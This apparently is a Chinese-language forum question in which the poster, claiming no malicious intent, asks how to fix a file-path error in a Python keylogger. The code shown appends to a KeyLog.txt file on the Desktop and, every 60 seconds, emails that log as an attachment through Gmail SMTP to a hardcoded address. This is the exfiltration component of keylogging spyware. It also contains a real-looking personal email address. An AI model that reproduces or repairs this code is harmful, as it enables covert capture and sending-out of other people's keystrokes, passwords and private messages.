我正在从事键盘记录程序项目(不是出于恶意目的),并且正在寻求帮助。我需要在桌面上创建键盘记录文件,因此我使用:
file = open(os.path.expanduser("~/Desktop/KeyLog.txt"), 'a')
但是稍后我需要使用MIME将日志文件发送回我自己,它希望我在文件位置的目录中将其发送,如您在此处看到的那样:
def sendlog():
threading.Timer(60.0, sendlog).start()
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\**USERNAME**\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
我将把什么作为目录?我尝试仅使用~/Desktop/KeyLog.txt
作为目录,但是返回一个错误,指出找不到文件或目录。